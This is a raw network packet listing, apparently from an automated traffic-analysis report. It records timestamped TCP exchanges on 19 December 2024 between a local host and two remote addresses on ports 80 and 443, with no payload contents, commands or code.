                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.947451115 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.947577953 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.947599888 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.947658062 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.948909044 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.948962927 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.949028969 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.949080944 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.950424910 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.950474977 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.950496912 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.950556040 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956327915 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956377029 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956388950 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956420898 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956423998 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956439972 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956451893 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956463099 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956475019 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956486940 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956487894 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.956538916 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.957623959 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.957701921 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.974666119 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.974678993 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.021526098 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.028438091 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.075849056 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.075911045 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.076095104 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.076179028 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.076240063 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.076308012 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.077450037 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.077503920 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.077593088 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.078145027 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.078541994 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.078668118 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.078721046 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.079875946 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.079982042 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.080034971 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.081126928 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.081180096 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.081244946 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.082423925 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.082480907 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.082623005 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.083884001 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.083899975 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.083935022 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.083949089 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.084034920 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.085141897 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.085196972 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.085253000 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.086137056 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.086376905 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.086424112 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.086565018 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.086611986 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.087671995 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.087719917 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.087869883 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.087914944 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.088949919 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.089015961 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.089019060 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.089118004 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.090176105 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.090229034 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.090311050 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.090368986 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.091403961 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.091466904 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.091557980 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.091614008 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.092787981 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.092843056 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.092852116 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.093198061 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.093980074 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.094134092 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.094136953 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.094177961 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.095252037 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.095298052 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.095356941 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.096209049 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.096384048 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.096575975 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.096642017 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.096817017 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.096937895 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.097814083 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.097873926 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.097902060 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.097953081 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.099040031 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.099097013 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.099150896 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.099205017 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100387096 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100404024 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100513935 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100548983 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100548983 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100569010 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100620985 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100673914 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100681067 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100712061 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100724936 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100784063 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100936890 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100946903 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100967884 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.100972891 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.101778030 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.101788998 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.101839066 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.102864027 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.102966070 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.103019953 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.104129076 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.104197025 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.104248047 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.104532957 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.105397940 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.105479002 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.105542898 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.105602980 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.106841087 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.106909990 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.106969118 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.107917070 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.108051062 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.108104944 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.109201908 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.109327078 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.109381914 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.110444069 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.110519886 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.110557079 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.110690117 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.111682892 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.111740112 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.111886024 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.111947060 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.112948895 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.113017082 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.113126040 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.113177061 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.114278078 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.114418030 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.114468098 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.115494967 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.115562916 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.115626097 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.115816116 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.116753101 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.116810083 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.116934061 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.117021084 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.118066072 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.118143082 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.118160963 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.118242025 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.119353056 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.119421959 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.119579077 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.120567083 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.120635986 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.120671034 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.121809959 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.121831894 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.122019053 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.122073889 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.123106003 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.123162031 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.123281956 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.123336077 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.124361038 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.124422073 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.124577045 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.124624968 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.125626087 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.125727892 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.125747919 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.125860929 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.126965046 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.127036095 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.127058983 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.127091885 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.128129005 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.128257036 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.128307104 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.128355980 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.129425049 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.129481077 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.129579067 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.129637957 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.130703926 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.130769968 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.130826950 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.130893946 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.131982088 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.132057905 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.132138014 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.132210970 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.133248091 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.133301973 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.133332968 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.133380890 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.134509087 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.134578943 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.134655952 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.134711027 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.135993958 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.136018038 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.136044979 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.136071920 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.137034893 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.137135029 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.137171030 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.137242079 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.138422012 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.138432980 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.138480902 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.139571905 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.139628887 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.139731884 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.139799118 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.140836954 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.140904903 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.141011953 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.141060114 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.142085075 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.142132998 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.142177105 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.142230034 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.183815002 CET49868443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.183840990 CET44349868104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.183943987 CET49868443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.184178114 CET49868443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.184194088 CET44349868104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.268287897 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.268402100 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.268492937 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.268798113 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.269068956 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.269135952 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.270179987 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.270191908 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.270240068 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.271229029 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.271239996 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.271292925 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.272306919 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.272434950 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.272500038 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.273562908 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.273766994 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.273828983 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.274687052 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.274744987 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.274877071 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:34.275960922 CET804986131.41.244.11192.168.2.5
